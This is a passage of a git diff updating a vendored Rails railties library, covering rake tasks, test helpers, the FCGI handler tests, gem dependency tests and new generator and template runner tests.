b/vendor/rails/railties/lib/tasks/statistics.rake index dbd07731..5ab27a0f 100644 --- a/vendor/rails/railties/lib/tasks/statistics.rake +++ b/vendor/rails/railties/lib/tasks/statistics.rake @@ -4,7 +4,6 @@ STATS_DIRECTORIES = [ %w(Models app/models), %w(Libraries lib/), %w(APIs app/apis), - %w(Components components), %w(Integration\ tests test/integration), %w(Functional\ tests test/functional), %w(Unit\ tests test/unit) diff --git a/vendor/rails/railties/lib/tasks/testing.rake b/vendor/rails/railties/lib/tasks/testing.rake index 328bde74..42424586 100644 --- a/vendor/rails/railties/lib/tasks/testing.rake +++ b/vendor/rails/railties/lib/tasks/testing.rake @@ -7,7 +7,7 @@ def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago) tests = [] source_dir = File.dirname(path).split("/") source_file = File.basename(path, '.rb') - + # Support subdirs in app/models and app/controllers modified_test_path = source_dir.length > 2 ? "#{test_path}/" << source_dir[1..source_dir.length].join('/') : test_path @@ -18,7 +18,7 @@ def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago) # For modified files in app, run tests in subdirs too. ex. /test/functional/account/*_test.rb test = "#{modified_test_path}/#{File.basename(path, '.rb').sub("_controller","")}" FileList["#{test}/*_test.rb"].each { |f| tests.push f } if File.exist?(test) - + return tests end @@ -63,7 +63,7 @@ namespace :test do t.test_files = touched.uniq end Rake::Task['test:recent'].comment = "Test recent changes" - + Rake::TestTask.new(:uncommitted => "db:test:prepare") do |t| def t.file_list if File.directory?(".svn") @@ -82,7 +82,7 @@ namespace :test do unit_tests.uniq + functional_tests.uniq end - + t.libs << 'test' t.verbose = true end diff --git a/vendor/rails/railties/lib/tasks/tmp.rake b/vendor/rails/railties/lib/tasks/tmp.rake index b191039d..fea15058 100644 --- a/vendor/rails/railties/lib/tasks/tmp.rake +++ b/vendor/rails/railties/lib/tasks/tmp.rake @@ -2,7 +2,7 @@ namespace :tmp do desc "Clear session, cache, and socket files from tmp/" task :clear => [ "tmp:sessions:clear", "tmp:cache:clear", "tmp:sockets:clear"] - desc "Creates tmp directories for sessions, cache, and sockets" + desc "Creates tmp directories for sessions, cache, sockets, and pids" task :create do FileUtils.mkdir_p(%w( tmp/sessions tmp/cache tmp/sockets tmp/pids )) end @@ -34,4 +34,4 @@ namespace :tmp do FileUtils.rm(Dir['tmp/pids/[^.]*']) end end -end \ No newline at end of file +end diff --git a/vendor/rails/railties/lib/test_help.rb b/vendor/rails/railties/lib/test_help.rb index 3cc61d79..ee24ea3a 100644 --- a/vendor/rails/railties/lib/test_help.rb +++ b/vendor/rails/railties/lib/test_help.rb @@ -1,21 +1,29 @@ -require_dependency 'application' - # Make double-sure the RAILS_ENV is set to test, # so fixtures are loaded to the right database silence_warnings { RAILS_ENV = "test" } require 'test/unit' -require 'active_support/test_case' -require 'active_record/fixtures' require 'action_controller/test_case' +require 'action_view/test_case' require 'action_controller/integration' require 'action_mailer/test_case' if defined?(ActionMailer) -Test::Unit::TestCase.fixture_path = RAILS_ROOT + "/test/fixtures/" -ActionController::IntegrationTest.fixture_path = Test::Unit::TestCase.fixture_path +if defined?(ActiveRecord) + require 'active_record/test_case' + require 'active_record/fixtures' -def create_fixtures(*table_names) - Fixtures.create_fixtures(Test::Unit::TestCase.fixture_path, table_names) + class ActiveSupport::TestCase + include ActiveRecord::TestFixtures + self.fixture_path = "#{RAILS_ROOT}/test/fixtures/" + self.use_instantiated_fixtures = false + self.use_transactional_fixtures = true + end + + ActionController::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path + + def create_fixtures(*table_names, &block) + Fixtures.create_fixtures(ActiveSupport::TestCase.fixture_path, table_names, {}, &block) + end end begin diff --git a/vendor/rails/railties/lib/webrick_server.rb b/vendor/rails/railties/lib/webrick_server.rb index 0e1234d4..2f60151b 100644 --- a/vendor/rails/railties/lib/webrick_server.rb +++ b/vendor/rails/railties/lib/webrick_server.rb @@ -57,7 +57,6 @@ class DispatchServlet < WEBrick::HTTPServlet::AbstractServlet server.mount('/', DispatchServlet, options) trap("INT") { server.shutdown } - trap("TERM") { server.shutdown } server.start end diff --git a/vendor/rails/railties/test/abstract_unit.rb b/vendor/rails/railties/test/abstract_unit.rb index e1ce32da..b6edc033 100644 --- a/vendor/rails/railties/test/abstract_unit.rb +++ b/vendor/rails/railties/test/abstract_unit.rb @@ -3,22 +3,20 @@ $:.unshift File.dirname(__FILE__) + "/../../actionpack/lib" $:.unshift File.dirname(__FILE__) + "/../lib" $:.unshift File.dirname(__FILE__) + "/../builtin/rails_info" +require 'rubygems' require 'test/unit' +gem 'mocha', '>= 0.9.3' +require 'mocha' require 'stringio' require 'active_support' +require 'active_support/test_case' -# Wrap tests that use Mocha and skip if unavailable. def uses_mocha(test_name) - require 'rubygems' - gem 'mocha', '>= 0.5.5' - require 'mocha' yield -rescue LoadError - $stderr.puts "Skipping #{test_name} tests. `gem install mocha` and try again." end if defined?(RAILS_ROOT) RAILS_ROOT.replace File.dirname(__FILE__) else RAILS_ROOT = File.dirname(__FILE__) -end +end \ No newline at end of file diff --git a/vendor/rails/railties/test/backtrace_cleaner_test.rb b/vendor/rails/railties/test/backtrace_cleaner_test.rb new file mode 100644 index 00000000..5955fd28 --- /dev/null +++ b/vendor/rails/railties/test/backtrace_cleaner_test.rb @@ -0,0 +1,28 @@ +require 'abstract_unit' + +require 'initializer' +require 'rails/backtrace_cleaner' + +class TestWithBacktrace + include Test::Unit::Util::BacktraceFilter + include Rails::BacktraceFilterForTestUnit +end + +class BacktraceCleanerFilterTest < ActiveSupport::TestCase + def setup + @test = TestWithBacktrace.new + @backtrace = [ './test/rails/benchmark_test.rb', './test/rails/dependencies.rb', '/opt/local/lib/ruby/kernel.rb' ] + end + + test "test with backtrace should use the rails backtrace cleaner to clean" do + Rails.stubs(:backtrace_cleaner).returns(stub(:clean)) + Rails.backtrace_cleaner.expects(:clean).with(@backtrace, nil) + @test.filter_backtrace(@backtrace) + end + + test "filter backtrace should have the same arity as Test::Unit::Util::BacktraceFilter" do + assert_nothing_raised do + @test.filter_backtrace(@backtrace, '/opt/local/lib') + end + end +end \ No newline at end of file diff --git a/vendor/rails/railties/test/console_app_test.rb b/vendor/rails/railties/test/console_app_test.rb index 6cfc907b..f419fe0d 100644 --- a/vendor/rails/railties/test/console_app_test.rb +++ b/vendor/rails/railties/test/console_app_test.rb @@ -4,6 +4,7 @@ require 'action_controller' # console_app uses 'action_controller/integration' unless defined? ApplicationController class ApplicationController < ActionController::Base; end + ActionController::Base.session_store = nil end require 'dispatcher' @@ -13,6 +14,15 @@ require 'console_app' Test::Unit.run = false class ConsoleAppTest < Test::Unit::TestCase + def test_app_method_should_return_integration_session + assert_nothing_thrown do + console_session = app + assert_not_nil console_session + assert_instance_of ActionController::Integration::Session, + console_session + end + end + uses_mocha 'console reload test' do def test_reload_should_fire_preparation_callbacks a = b = c = nil diff --git a/vendor/rails/railties/test/error_page_test.rb b/vendor/rails/railties/test/error_page_test.rb index 844f889a..f819e468 100644 --- a/vendor/rails/railties/test/error_page_test.rb +++ b/vendor/rails/railties/test/error_page_test.rb @@ -1,6 +1,6 @@ require 'abstract_unit' require 'action_controller' -require 'action_controller/test_process' +require 'action_controller/test_case' RAILS_ENV = "test" CURRENT_DIR = File.expand_path(File.dirname(__FILE__)) @@ -22,13 +22,10 @@ ActionController::Routing::Routes.draw do |map| map.connect ':controller/:action/:id' end -class ErrorPageControllerTest < Test::Unit::TestCase +class ErrorPageControllerTest < ActionController::TestCase def setup - @controller = ErrorPageController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new - ActionController::Base.consider_all_requests_local = false + rescue_action_in_public! end def test_500_error_page_instructs_system_administrator_to_check_log_file @@ -38,6 +35,6 @@ class ErrorPageControllerTest < Test::Unit::TestCase end get :crash expected_log_file = "#{RAILS_ENV}.log" - assert_not_nil @response.body.index(expected_log_file) + assert_not_nil @response.body.index(expected_log_file), @response.body end end diff --git a/vendor/rails/railties/test/fcgi_dispatcher_test.rb b/vendor/rails/railties/test/fcgi_dispatcher_test.rb index 64d054d4..c469c5dd 100644 --- a/vendor/rails/railties/test/fcgi_dispatcher_test.rb +++ b/vendor/rails/railties/test/fcgi_dispatcher_test.rb @@ -1,11 +1,9 @@ require 'abstract_unit' -uses_mocha 'fcgi dispatcher tests' do - +begin +require 'action_controller' require 'fcgi_handler' -module ActionController; module Routing; module Routes; end end end - class RailsFCGIHandlerTest < Test::Unit::TestCase def setup @log = StringIO.new @@ -132,19 +130,11 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase end end - class ::Dispatcher - class << self - attr_accessor :signal - alias_method :old_dispatch, :dispatch - def dispatch(cgi) - signal ? Process.kill(signal, $$) : old_dispatch - end - end - end - def setup @log = StringIO.new @handler = RailsFCGIHandler.new(@log) + @dispatcher = mock + Dispatcher.stubs(:new).returns(@dispatcher) end def test_interrupted_via_HUP_when_not_in_request @@ -160,19 +150,6 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase assert_equal :reload, @handler.when_ready end - def test_interrupted_via_HUP_when_in_request - cgi = mock - FCGI.expects(:each_cgi).once.yields(cgi) - Dispatcher.expects(:signal).times(2).returns('HUP') - - @handler.expects(:reload!).once - @handler.expects(:close_connection).never - @handler.expects(:exit).never - - @handler.process! - assert_equal :reload, @handler.when_ready - end - def test_interrupted_via_USR1_when_not_in_request cgi = mock FCGI.expects(:each_cgi).once.yields(cgi) @@ -187,19 +164,6 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase assert_nil @handler.when_ready end - def test_interrupted_via_USR1_when_in_request - cgi = mock - FCGI.expects(:each_cgi).once.yields(cgi) - Dispatcher.expects(:signal).times(2).returns('USR1') - - @handler.expects(:reload!).never - @handler.expects(:close_connection).with(cgi).once - @handler.expects(:exit).never - - @handler.process! - assert_equal :exit, @handler.when_ready - end - def test_restart_via_USR2_when_in_request cgi = mock FCGI.expects(:each_cgi).once.yields(cgi) @@ -218,7 +182,7 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase def test_interrupted_via_TERM cgi = mock FCGI.expects(:each_cgi).once.yields(cgi) - Dispatcher.expects(:signal).times(2).returns('TERM') + ::Rack::Handler::FastCGI.expects(:serve).once.returns('TERM') @handler.expects(:reload!).never @handler.expects(:close_connection).never @@ -239,7 +203,7 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase cgi = mock error = RuntimeError.new('foo') FCGI.expects(:each_cgi).once.yields(cgi) - Dispatcher.expects(:dispatch).once.with(cgi).raises(error) + ::Rack::Handler::FastCGI.expects(:serve).once.raises(error) @handler.expects(:dispatcher_error).with(error, regexp_matches(/^unhandled/)) @handler.process! end @@ -255,7 +219,7 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase cgi = mock error = SignalException.new('USR2') FCGI.expects(:each_cgi).once.yields(cgi) - Dispatcher.expects(:dispatch).once.with(cgi).raises(error) + ::Rack::Handler::FastCGI.expects(:serve).once.raises(error) @handler.expects(:dispatcher_error).with(error, regexp_matches(/^stopping/)) @handler.process! end @@ -285,7 +249,7 @@ class RailsFCGIHandlerPeriodicGCTest < Test::Unit::TestCase cgi = mock FCGI.expects(:each_cgi).times(10).yields(cgi) - Dispatcher.expects(:dispatch).times(10).with(cgi) + Dispatcher.expects(:new).times(10) @handler.expects(:run_gc!).never 9.times { @handler.process! } @@ -296,4 +260,6 @@ class RailsFCGIHandlerPeriodicGCTest < Test::Unit::TestCase end end -end # uses_mocha +rescue LoadError => e + raise unless e.message =~ /fcgi/ +end diff --git a/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/controllers/engine_controller.rb b/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/controllers/engine_controller.rb new file mode 100644 index 00000000..323ee1c4 --- /dev/null +++ b/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/controllers/engine_controller.rb @@ -0,0 +1,2 @@ +class EngineController +end \ No newline at end of file diff --git a/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/models/engine_model.rb b/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/models/engine_model.rb new file mode 100644 index 00000000..e2657121 --- /dev/null +++ b/vendor/rails/railties/test/fixtures/plugins/engines/engine/app/models/engine_model.rb @@ -0,0 +1,2 @@ +class EngineModel +end \ No newline at end of file diff --git a/vendor/rails/railties/test/fixtures/plugins/engines/engine/config/routes.rb b/vendor/rails/railties/test/fixtures/plugins/engines/engine/config/routes.rb new file mode 100644 index 00000000..cca8d1b1 --- /dev/null +++ b/vendor/rails/railties/test/fixtures/plugins/engines/engine/config/routes.rb @@ -0,0 +1,3 @@ +ActionController::Routing::Routes.draw do |map| + map.connect '/engine', :controller => "engine" +end diff --git a/vendor/rails/railties/test/fixtures/plugins/engines/engine/init.rb b/vendor/rails/railties/test/fixtures/plugins/engines/engine/init.rb new file mode 100644 index 00000000..f4b00c0f --- /dev/null +++ b/vendor/rails/railties/test/fixtures/plugins/engines/engine/init.rb @@ -0,0 +1,3 @@ +# My app/models dir must be in the load path. +require 'engine_model' +raise 'missing model from my app/models dir' unless defined?(EngineModel) diff --git a/vendor/rails/railties/test/gem_dependency_test.rb b/vendor/rails/railties/test/gem_dependency_test.rb index 4f9e824c..6c1f0961 100644 --- a/vendor/rails/railties/test/gem_dependency_test.rb +++ b/vendor/rails/railties/test/gem_dependency_test.rb @@ -9,33 +9,33 @@ Rails::VendorGemSourceIndex.silence_spec_warnings = true uses_mocha "Plugin Tests" do class GemDependencyTest < Test::Unit::TestCase def setup - @gem = Rails::GemDependency.new "hpricot" - @gem_with_source = Rails::GemDependency.new "hpricot", :source => "http://code.whytheluckystiff.net" - @gem_with_version = Rails::GemDependency.new "hpricot", :version => "= 0.6" - @gem_with_lib = Rails::GemDependency.new "aws-s3", :lib => "aws/s3" - @gem_without_load = Rails::GemDependency.new "hpricot", :lib => false + @gem = Rails::GemDependency.new "xhpricotx" + @gem_with_source = Rails::GemDependency.new "xhpricotx", :source => "http://code.whytheluckystiff.net" + @gem_with_version = Rails::GemDependency.new "xhpricotx", :version => "= 0.6" + @gem_with_lib = Rails::GemDependency.new "xaws-s3x", :lib => "aws/s3" + @gem_without_load = Rails::GemDependency.new "xhpricotx", :lib => false end def test_configuration_adds_gem_dependency config = Rails::Configuration.new - config.gem "aws-s3", :lib => "aws/s3", :version => "0.4.0" - assert_equal [["install", "aws-s3", "--version", '"= 0.4.0"']], config.gems.collect(&:install_command) + config.gem "xaws-s3x", :lib => "aws/s3", :version => "0.4.0" + assert_equal [["install", "xaws-s3x", "--version", '"= 0.4.0"']], config.gems.collect(&:install_command) end def test_gem_creates_install_command - assert_equal %w(install hpricot), @gem.install_command + assert_equal %w(install xhpricotx), @gem.install_command end def test_gem_with_source_creates_install_command - assert_equal %w(install hpricot --source http://code.whytheluckystiff.net), @gem_with_source.install_command + assert_equal %w(install xhpricotx --source http://code.whytheluckystiff.net), @gem_with_source.install_command end def test_gem_with_version_creates_install_command - assert_equal ["install", "hpricot", "--version", '"= 0.6"'], @gem_with_version.install_command + assert_equal ["install", "xhpricotx", "--version", '"= 0.6"'], @gem_with_version.install_command end def test_gem_creates_unpack_command - assert_equal %w(unpack hpricot), @gem.unpack_command + assert_equal %w(unpack xhpricotx), @gem.unpack_command end def test_gem_with_version_unpack_install_command @@ -43,7 +43,7 @@ uses_mocha "Plugin Tests" do mock_spec = mock() mock_spec.stubs(:version).returns('0.6') @gem_with_version.stubs(:specification).returns(mock_spec) - assert_equal ["unpack", "hpricot", "--version", '= 0.6'], @gem_with_version.unpack_command + assert_equal ["unpack", "xhpricotx", "--version", '= 0.6'], @gem_with_version.unpack_command end def test_gem_adds_load_paths @@ -129,5 +129,18 @@ uses_mocha "Plugin Tests" do assert_equal '1.0.0', DUMMY_GEM_E_VERSION end + def test_gem_handle_missing_dependencies + dummy_gem = Rails::GemDependency.new "dummy-gem-g" + dummy_gem.add_load_paths + dummy_gem.load + assert dummy_gem.loaded? + assert_equal 2, dummy_gem.dependencies.size + assert_nothing_raised do + dummy_gem.dependencies.each do |g| + g.dependencies + end + end + end + end end diff --git a/vendor/rails/railties/test/generators/generator_test_helper.rb b/vendor/rails/railties/test/generators/generator_test_helper.rb index 0901b215..01bf1c90 100644 --- a/vendor/rails/railties/test/generators/generator_test_helper.rb +++ b/vendor/rails/railties/test/generators/generator_test_helper.rb @@ -145,6 +145,19 @@ class GeneratorTestCase < Test::Unit::TestCase end end + # Asserts that the given helper test test was generated. + # It takes a name or symbol without the _helper_test part and an optional super class. + # The contents of the class source file is passed to a block. + def assert_generated_helper_test_for(name, parent = "ActionView::TestCase") + path = "test/unit/helpers/#{name.to_s.underscore}_helper_test" + # Have to pass the path without the "test/" part so that class_name_from_path will return a correct result + class_name = class_name_from_path(path.gsub(/^test\//, '')) + + assert_generated_class path,parent,class_name do |body| + yield body if block_given? + end + end + # Asserts that the given unit test was generated. # It takes a name or symbol without the _test part and an optional super class. # The contents of the class source file is passed to a block. @@ -172,22 +185,24 @@ class GeneratorTestCase < Test::Unit::TestCase # Asserts that the given class source file was generated. # It takes a path without the .rb part and an optional super class. # The contents of the class source file is passed to a block. - def assert_generated_class(path, parent = nil) - # FIXME: Sucky way to detect namespaced classes - if path.split('/').size > 3 - path =~ /\/?(\d+_)?(\w+)\/(\w+)$/ - class_name = "#{$2.camelize}::#{$3.camelize}" - else - path =~ /\/?(\d+_)?(\w+)$/ - class_name = $2.camelize - end - + def assert_generated_class(path, parent = nil, class_name = class_name_from_path(path)) assert_generated_file("#{path}.rb") do |body| assert_match /class #{class_name}#{parent.nil? ? '':" < #{parent}"}/, body, "the file '#{path}.rb' should be a class" yield body if block_given? end end + def class_name_from_path(path) + # FIXME: Sucky way to detect namespaced classes + if path.split('/').size > 3 + path =~ /\/?(\d+_)?(\w+)\/(\w+)$/ + "#{$2.camelize}::#{$3.camelize}" + else + path =~ /\/?(\d+_)?(\w+)$/ + $2.camelize + end + end + # Asserts that the given module source file was generated. # It takes a path without the .rb part. # The contents of the class source file is passed to a block. diff --git a/vendor/rails/railties/test/generators/rails_controller_generator_test.rb b/vendor/rails/railties/test/generators/rails_controller_generator_test.rb index f839ea97..43fbe972 100644 --- a/vendor/rails/railties/test/generators/rails_controller_generator_test.rb +++ b/vendor/rails/railties/test/generators/rails_controller_generator_test.rb @@ -11,6 +11,7 @@ class RailsControllerGeneratorTest < GeneratorTestCase assert_generated_controller_for :products assert_generated_functional_test_for :products assert_generated_helper_for :products + assert_generated_helper_test_for :products end def test_controller_generates_namespaced_controller @@ -19,24 +20,25 @@ class RailsControllerGeneratorTest < GeneratorTestCase assert_generated_controller_for "admin::products" assert_generated_functional_test_for "admin::products" assert_generated_helper_for "admin::products" + assert_generated_helper_test_for "admin::products" end def test_controller_generates_namespaced_and_not_namespaced_controllers - run_generator('controller', %w(products)) + run_generator('controller', %w(products)) - # We have to require the generated helper to show the problem because - # the test helpers just check for generated files and contents but - # do not actually load them. But they have to be loaded (as in a real environment) - # to make the second generator run fail - require "#{RAILS_ROOT}/app/helpers/products_helper" + # We have to require the generated helper to show the problem because + # the test helpers just check for generated files and contents but + # do not actually load them. But they have to be loaded (as in a real environment) + # to make the second generator run fail + require "#{RAILS_ROOT}/app/helpers/products_helper" - assert_nothing_raised do - begin - run_generator('controller', %w(admin::products)) - ensure - # cleanup - Object.send(:remove_const, :ProductsHelper) - end + assert_nothing_raised do + begin + run_generator('controller', %w(admin::products)) + ensure + # cleanup + Object.send(:remove_const, :ProductsHelper) end + end end end diff --git a/vendor/rails/railties/test/generators/rails_helper_generator_test.rb b/vendor/rails/railties/test/generators/rails_helper_generator_test.rb new file mode 100644 index 00000000..8d05f555 --- /dev/null +++ b/vendor/rails/railties/test/generators/rails_helper_generator_test.rb @@ -0,0 +1,36 @@ +require File.dirname(__FILE__) + '/generator_test_helper' + +class RailsHelperGeneratorTest < GeneratorTestCase + def test_helper_generates_helper + run_generator('helper', %w(products)) + + assert_generated_helper_for :products + assert_generated_helper_test_for :products + end + + def test_helper_generates_namespaced_helper + run_generator('helper', %w(admin::products)) + + assert_generated_helper_for "admin::products" + assert_generated_helper_test_for "admin::products" + end + + def test_helper_generates_namespaced_and_not_namespaced_helpers + run_generator('helper', %w(products)) + + # We have to require the generated helper to show the problem because + # the test helpers just check for generated files and contents but + # do not actually load them. But they have to be loaded (as in a real environment) + # to make the second generator run fail + require "#{RAILS_ROOT}/app/helpers/products_helper" + + assert_nothing_raised do + begin + run_generator('helper', %w(admin::products)) + ensure + # cleanup + Object.send(:remove_const, :ProductsHelper) + end + end + end +end diff --git a/vendor/rails/railties/test/generators/rails_resource_generator_test.rb b/vendor/rails/railties/test/generators/rails_resource_generator_test.rb index 45e4850e..1f5bd0ef 100644 --- a/vendor/rails/railties/test/generators/rails_resource_generator_test.rb +++ b/vendor/rails/railties/test/generators/rails_resource_generator_test.rb @@ -1,7 +1,6 @@ require 'generators/generator_test_helper' class RailsResourceGeneratorTest < GeneratorTestCase - def test_resource_generates_resources run_generator('resource', %w(Product name:string)) @@ -10,6 +9,7 @@ class RailsResourceGeneratorTest < GeneratorTestCase assert_generated_fixtures_for :products assert_generated_functional_test_for :products assert_generated_helper_for :products + assert_generated_helper_test_for :products assert_generated_migration :create_products assert_added_route_for :products end @@ -22,8 +22,8 @@ class RailsResourceGeneratorTest < GeneratorTestCase assert_generated_fixtures_for :products assert_generated_functional_test_for :products assert_generated_helper_for :products + assert_generated_helper_test_for :products assert_skipped_migration :create_products assert_added_route_for :products end - end diff --git a/vendor/rails/railties/test/generators/rails_scaffold_generator_test.rb b/vendor/rails/railties/test/generators/rails_scaffold_generator_test.rb index de6b38da..926607f5 100644 --- a/vendor/rails/railties/test/generators/rails_scaffold_generator_test.rb +++ b/vendor/rails/railties/test/generators/rails_scaffold_generator_test.rb @@ -2,7 +2,6 @@ require 'generators/generator_test_helper' require 'abstract_unit' class RailsScaffoldGeneratorTest < GeneratorTestCase - def test_scaffolded_names g = Rails::Generator::Base.instance('scaffold', %w(ProductLine)) assert_equal "ProductLines", g.controller_name @@ -43,6 +42,7 @@ class RailsScaffoldGeneratorTest < GeneratorTestCase assert_generated_unit_test_for :product assert_generated_fixtures_for :products assert_generated_helper_for :products + assert_generated_helper_test_for :products assert_generated_stylesheet :scaffold assert_generated_views_for :products, "index.html.erb", "new.html.erb", "edit.html.erb", "show.html.erb" @@ -58,6 +58,7 @@ class RailsScaffoldGeneratorTest < GeneratorTestCase assert_generated_unit_test_for :product assert_generated_fixtures_for :products assert_generated_helper_for :products + assert_generated_helper_test_for :products assert_generated_stylesheet :scaffold assert_generated_views_for :products, "index.html.erb","new.html.erb","edit.html.erb","show.html.erb" assert_skipped_migration :create_products @@ -93,6 +94,7 @@ class RailsScaffoldGeneratorTest < GeneratorTestCase assert_generated_unit_test_for :product assert_generated_fixtures_for :products assert_generated_helper_for :products + assert_generated_helper_test_for :products assert_generated_stylesheet :scaffold assert_generated_views_for :products, "index.html.erb", "new.html.erb", "edit.html.erb", "show.html.erb" @@ -126,6 +128,7 @@ class RailsScaffoldGeneratorTest < GeneratorTestCase assert_generated_unit_test_for :product assert_generated_fixtures_for :products assert_generated_helper_for :products + assert_generated_helper_test_for :products assert_generated_stylesheet :scaffold assert_generated_views_for :products, "index.html.erb","new.html.erb","edit.html.erb","show.html.erb" assert_skipped_migration :create_products @@ -140,10 +143,10 @@ class RailsScaffoldGeneratorTest < GeneratorTestCase assert_generated_unit_test_for :products assert_generated_fixtures_for :products assert_generated_helper_for :products + assert_generated_helper_test_for :products assert_generated_stylesheet :scaffold assert_generated_views_for :products, "index.html.erb","new.html.erb","edit.html.erb","show.html.erb" assert_skipped_migration :create_products assert_added_route_for :products end - end diff --git a/vendor/rails/railties/test/generators/rails_template_runner_test.rb b/vendor/rails/railties/test/generators/rails_template_runner_test.rb new file mode 100644 index 00000000..fcc02060 --- /dev/null +++ b/vendor/rails/railties/test/generators/rails_template_runner_test.rb @@ -0,0 +1,190 @@ +require 'abstract_unit' +require 'generators/generator_test_helper' + +class RailsTemplateRunnerTest < GeneratorTestCase + def setup + Rails::Generator::Base.use_application_sources! + run_generator('app', [RAILS_ROOT]) + # generate empty template + @template_path = File.join(RAILS_ROOT, 'template.rb') + File.open(File.join(@template_path), 'w') {|f| f << '' } + + @git_plugin_uri = 'git://github.com/technoweenie/restful-authentication.git' + @svn_plugin_uri = 'svn://svnhub.com/technoweenie/restful-authentication/trunk' + end + + def teardown + super + rm_rf "#{RAILS_ROOT}/README" + rm_rf "#{RAILS_ROOT}/Rakefile" + rm_rf "#{RAILS_ROOT}/doc" + rm_rf "#{RAILS_ROOT}/lib" + rm_rf "#{RAILS_ROOT}/log" + rm_rf "#{RAILS_ROOT}/script" + rm_rf "#{RAILS_ROOT}/vendor" + rm_rf "#{RAILS_ROOT}/tmp" + rm_rf "#{RAILS_ROOT}/Capfile" + rm_rf @template_path + end + + def test_initialize_should_load_template + Rails::TemplateRunner.any_instance.expects(:load_template).with(@template_path) + silence_generator do + Rails::TemplateRunner.new(@template_path, RAILS_ROOT) + end + end + + def test_initialize_should_raise_error_on_missing_template_file + assert_raise(RuntimeError) do + silence_generator do + Rails::TemplateRunner.new('non/existent/path/to/template.rb', RAILS_ROOT) + end + end + end + + def test_file_should_write_data_to_file_path + run_template_method(:file, 'lib/test_file.rb', 'heres test data') + assert_generated_file_with_data 'lib/test_file.rb', 'heres test data' + end + + def test_file_should_write_block_contents_to_file_path + run_template_method(:file, 'lib/test_file.rb') { 'heres block data' } + assert_generated_file_with_data 'lib/test_file.rb', 'heres block data' + end + + def test_plugin_with_git_option_should_run_plugin_install + expects_run_with_command("script/plugin install #{@git_plugin_uri}") + run_template_method(:plugin, 'restful-authentication', :git => @git_plugin_uri) + end + + def test_plugin_with_svn_option_should_run_plugin_install + expects_run_with_command("script/plugin install #{@svn_plugin_uri}") + run_template_method(:plugin, 'restful-authentication', :svn => @svn_plugin_uri) + end + + def test_plugin_with_git_option_and_submodule_should_use_git_scm + Rails::Git.expects(:run).with("submodule add #{@git_plugin_uri} vendor/plugins/rest_auth") + run_template_method(:plugin, 'rest_auth', :git => @git_plugin_uri, :submodule => true) + end + + def test_plugin_with_no_options_should_skip_method + Rails::TemplateRunner.any_instance.expects(:run).never + run_template_method(:plugin, 'rest_auth', {}) + end + + def test_gem_should_put_gem_dependency_in_enviroment + run_template_method(:gem, 'will-paginate') + assert_rails_initializer_includes("config.gem 'will-paginate'") + end + + def test_gem_with_options_should_include_options_in_gem_dependency_in_environment + run_template_method(:gem, 'mislav-will-paginate', :lib => 'will-paginate', :source => 'http://gems.github.com') + assert_rails_initializer_includes("config.gem 'mislav-will-paginate', :lib => 'will-paginate', :source => 'http://gems.github.com'") + end + + def test_environment_should_include_data_in_environment_initializer_block + load_paths = 'config.load_paths += %w["#{RAILS_ROOT}/app/extras"]' + run_template_method(:environment, load_paths) + assert_rails_initializer_includes(load_paths) + end + + def test_environment_with_block_should_include_block_contents_in_environment_initializer_block + run_template_method(:environment) do + '# This wont be added' + '# This will be added' + end + assert_rails_initializer_includes('# This will be added') + end + + def test_git_with_symbol_should_run_command_using_git_scm + Rails::Git.expects(:run).once.with('init') + run_template_method(:git, :init) + end + + def test_git_with_hash_should_run_each_command_using_git_scm + Rails::Git.expects(:run).times(2) + run_template_method(:git, {:init => '', :add => '.'}) + end + + def test_vendor_should_write_data_to_file_in_vendor + run_template_method(:vendor, 'vendor_file.rb', '# vendor data') + assert_generated_file_with_data('vendor/vendor_file.rb', '# vendor data') + end + + def test_lib_should_write_data_to_file_in_lib + run_template_method(:lib, 'my_library.rb', 'class MyLibrary') + assert_generated_file_with_data('lib/my_library.rb', 'class MyLibrary') + end + + def test_rakefile_should_write_date_to_file_in_lib_tasks + run_template_method(:rakefile, 'myapp.rake', 'task :run => [:environment]') + assert_generated_file_with_data('lib/tasks/myapp.rake', 'task :run => [:environment]') + end + + def test_initializer_should_write_date_to_file_in_config_initializers + run_template_method(:initializer, 'constants.rb', 'MY_CONSTANT = 42') + assert_generated_file_with_data('config/initializers/constants.rb', 'MY_CONSTANT = 42') + end + + def test_generate_should_run_script_generate_with_argument_and_options + expects_run_with_command('script/generate model MyModel') + run_template_method(:generate, 'model', 'MyModel') + end + + def test_rake_should_run_rake_command_with_development_env + expects_run_with_command('rake log:clear RAILS_ENV=development') + run_template_method(:rake, 'log:clear') + end + + def test_rake_with_env_option_should_run_rake_command_in_env + expects_run_with_command('rake log:clear RAILS_ENV=production') + run_template_method(:rake, 'log:clear', :env => 'production') + end + + def test_rake_with_sudo_option_should_run_rake_command_with_sudo + expects_run_with_command('sudo rake log:clear RAILS_ENV=development') + run_template_method(:rake, 'log:clear', :sudo => true) + end + + def test_capify_should_run_the_capify_command + expects_run_with_command('capify .') + run_template_method(:capify!) + end + + def test_freeze_should_freeze_rails_edge + expects_run_with_command('rake rails:freeze:edge') + run_template_method(:freeze!) + end + + def test_route_should_add_data_to_the_routes_block_in_config_routes + route_command = "map.route '/login', :controller => 'sessions', :action => 'new'" + run_template_method(:route, route_command) + assert_generated_file_with_data 'config/routes.rb', route_command + end + + protected + def run_template_method(method_name, *args, &block) + silence_generator do + @template_runner = Rails::TemplateRunner.new(@template_path, RAILS_ROOT) + @template_runner.send(method_name, *args, &block) + end + end + + def expects_run_with_command(command) + Rails::TemplateRunner.any_instance.stubs(:run).once.with(command, false) + end + + def assert_rails_initializer_includes(data, message = nil) + message ||= "Rails::Initializer should include #{data}" + assert_generated_file 'config/environment.rb' do |body| + assert_match(/#{Regexp.escape("Rails::Initializer.run do |config|")}.+#{Regexp.escape(data)}.+end/m, body, message) + end + end + + def assert_generated_file_with_data(file, data, message = nil) + message 